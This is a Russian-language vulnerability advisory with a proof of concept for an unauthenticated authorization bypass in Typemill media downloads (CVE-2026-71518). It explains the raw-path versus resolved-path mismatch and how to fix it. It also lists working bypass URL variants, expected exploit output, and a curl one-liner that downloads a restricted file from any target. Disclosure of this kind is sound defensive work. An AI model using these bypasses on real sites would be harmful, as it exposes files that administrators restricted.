
Advisory и PoC для неаутентифицированного обхода авторизации при скачивании медиафайлов в Typemill с использованием эквивалентных по пути вариантов URL для доступа к ролево-защищённым файлам.
Ограничение проверяется по необработанному пути запроса; файл читается по пути, разрешённому ОС, — эти два пути расходятся
Краткий обзор · Сводка · Корневая причина · Цепочка атаки · Эксплойт · Устранение · Хронология
| Идентификатор CVE | CVE-2026-71518 |
| Продукт | typemill/typemill — Typemill (плоскофайловая PHP CMS, Slim 4) |
| Затронуто | все версии < 2.26.0 (проверено на 2.25.0, коммит 8f3901c) |
| Исправлено в | 2.26.0 |
| Слабость | CWE-863 (некорректная авторизация) · CWE-639 (обход авторизации через управляемый пользователем ключ) |
| CVSS v3.1 | 7.5 — High · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — High |
| Вектор | Сеть · без аутентификации · без взаимодействия с пользователем |
| Воздействие | Неаутентифицированная загрузка медиафайлов, доступ к которым администратор ограничил привилегированной ролью |
| Исследователь | Ilhomjon Rustamov (@IlhomjonR) |
Typemill позволяет администратору ограничить отдельные медиафайлы определённой ролью пользователя через media/files/filerestrictions.yaml. Публичный маршрут загрузки должен учитывать это ограничение — но он проверяет ограничение по необработанному пути запроса, а отдаёт байты по пути, разрешённому файловой системой. Поскольку один и тот же файл имеет множество эквивалентных по пути написаний (./name, //name, %2e/name), атакующий выбирает вариант, который не совпадает с ключом ограничения, но при этом по-прежнему разрешается в тот же файл на диске.
Маршрут не содержит middleware аутентификации, поэтому файлы, явно ограниченные ролью, можно скачать полностью без аутентификации.
Маршрут загрузки является публичным — на нём нет middleware аутентификации:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
Внутри system/typemill/Controllers/ControllerWebDownload.php решение о контроле доступа и чтение файла используют два разных представления одного и того же пути:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() отклоняет только буквальную последовательность .. — она не нормализует ./ или // и не отклоняет процентно-кодированные эквиваленты. В результате ключ ограничения и файл, который фактически читается, расходятся:
| Путь запроса | Ключ ограничения совпал? | Файл на диске | Результат |
|---|---|---|---|
/media/files/secret.pdf | ✅ да | secret.pdf | 🔒 заблокировано (302 → вход) |
/media/files/./secret.pdf | ❌ нет | secret.pdf | 🟢 отдано (200) |
/media/files//secret.pdf | ❌ нет | secret.pdf | 🟢 отдано (200) |
/media/files/%2e/secret.pdf | ❌ нет | secret.pdf | 🟢 отдано (200) |
Ошибка представляет собой классический паттерн «решение об авторизации и доступ к ресурсу привязаны к разным строкам, управляемым атакующим» (CWE-639/CWE-863). $_SERVER['REQUEST_URI'] остаётся необработанным и под Apache, поэтому проблема не зависит от конкретного сервера.
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]
filerestrictions.yaml.exploit/exploit.py воспроизводит проблему от начала до конца на локальном тестовом контейнере. Скрипт (1) под учётной записью «admin» размещает приватный файл, ограниченный ролью editor, (2) подтверждает, что канонический URL заблокирован для анонимного пользователя, а затем (3) загружает тот же файл через каждый эквивалентный по пути вариант.
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
Ожидаемый вывод:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
Однострочник для атаки на любую уязвимую цель (только авторизованное тестирование):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() и проверяйте, что он находится в пределах базового каталога медиафайлов, а также отклоняйте процентно-кодированные разделители пути.| Дата | Событие |
|---|---|
| 2026-08-04 | Уязвимость обнаружена в Typemill 2.25.0; PoC проверен от начала до конца на Docker |
| 2026-08-04 | Сообщено мейнтейнеру / в VulnCheck |
| — | Исправлено в Typemill 2.26.0 |
| 2026-08-18 | CVE-2026-71518 опубликован; выпущены advisory + PoC |